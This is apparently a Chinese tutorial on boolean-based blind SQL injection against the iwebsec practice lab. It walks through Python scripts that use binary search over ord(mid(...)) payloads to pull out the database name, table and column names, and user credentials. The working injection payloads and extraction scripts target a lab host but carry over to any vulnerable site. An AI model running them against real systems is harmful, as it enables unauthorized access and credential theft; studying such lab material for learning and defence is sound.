文章目录
- 前言
- MySQL bool型
前言
- SQL注入漏洞 | iwebsec
- SQL注入漏洞 | 数字型
- 参考文章
- 文章所涉及的脚本代码,可以自己动手敲一次,增进理解,形成自己的SQl注入脚本,以后可以不断复用。
MySQL bool型
-
随便试试看回显
-
bool注入原理
我们可以利用回显内容来猜测数据库的内容和信息。
比如,我们猜测数据库名的长度,length(database())=3
。如果数据库名长度真的是3,则length(database())=3
这个表达式是真的,则为1
;如果数据库名长度不为3,则length(database())=3
这个表达式是假的,则为0
。因此我们只需要看数据库的回显反应即可,如果回显了,说明我们猜对了,如果不回显则说明我们猜错了。
一个个试,到7就回显了,说明我们猜数据库长度为7是对的。
-
一个个试太麻烦,我们可以编写脚本帮我们做重复性的东西。
import requests url = "http://8.134.148.36:8001/sqli/03.php" def DBlen(): for i in range(20): payload = url + "?id=1 and length(database())={}".format(i) response = requests.get(url=payload) if "welcome to iwebsec!!!" in response.text: print("数据名长度为", i) DBlen()
-
MID() 函数
用于从文本字段中提取字符。
ord() 函数
以一个字符(长度为1的字符串)作为参数,返回对应的 ASCII 数值。
-
我们继续猜数据库名,一位位地猜。猜数据名的第1位为
a
,将a
转成ASCII码为97
,则ord(mid((select database()),1,1))=97
继续猜
ord(mid((select database()),1,1))=105
第一位猜出来了,接着猜第二位是啥。人工试太慢了,我们继续写脚本。# 利用二分法 def DBname(): result = "" for i in range(20): l = 32 r = 130 mid = (l + r) >> 1 while (l < r): payload = url + "?id=1 and ord(mid((select database()),{},1))>{}".format(i, mid) response = requests.get(url=payload) if "welcome to iwebsec!!!" in response.text: l = mid + 1 else: r = mid mid = (l + r) >> 1 result = result + chr(mid) print("数据库名为", result)
-
接下来猜iwebsec数据库的表名。
将ord(mid((select database()),1,1))=97
中的database
换成表名group_concat(table_name) from information_schema.tables where table_schema=database()
,
即为ord(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=95
猜出一位
还是继续用脚本吧def DBtable(): result = "" for i in range(30): l = 32 r = 130 mid = (l + r) >> 1 while (l < r): payload = url + "?id=1 and ord(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}".format( i, mid) response = requests.get(url=payload) if "welcome to iwebsec!!!" in response.text: l = mid + 1 else: r = mid mid = (l + r) >> 1 result = result + chr(mid) print("数据库名的表名为", result)
-
继续测列名。
将ord(mid((select database()),1,1))=97
中的database
换成列名group_concat(column_name) from information_schema.columns where table_name=user
即为ord(mid((select group_concat(column_name) from information_schema.columns where table_name='user'),1,1))=97
继续上脚本def DBcolumn(): result = "" for i in range(30): l = 32 r = 130 mid = (l + r) >> 1 while (l < r): payload = url + "?id=1 and ord(mid((select group_concat(column_name) from information_schema.columns where table_name='user'),{},1))>{}".format( i, mid) response = requests.get(url=payload) if "welcome to iwebsec!!!" in response.text: l = mid + 1 else: r = mid mid = (l + r) >> 1 result = result + chr(mid) print("数据库名的表的列为", result)
-
最后猜一下每个列的值
将ord(mid((select database()),1,1))=97
中的database
换成字段group_concat(id,'--',username,'--',password,'--') from user
即为ord(mid((select group_concat(id,'--',username,'--',password,'--') from user),1,1))=97
继续上脚本def Getdata(): result = "" for i in range(100): l = 32 r = 130 mid = (l + r) >> 1 while (l < r): payload = url + "?id=1 and ord(mid((select group_concat(id,'--',username,'--',password,'--') from user),{},1))>{}".format(i, mid) response = requests.get(url=payload) if "welcome to iwebsec!!!" in response.text: l = mid + 1 else: r = mid mid = (l + r) >> 1 result = result + chr(mid) print("数据库名的表的列为", result)
-
总脚本
https://pan.baidu.com/s/1VxBWd_vk4-faOv5J6PUVdA?pwd=xxxi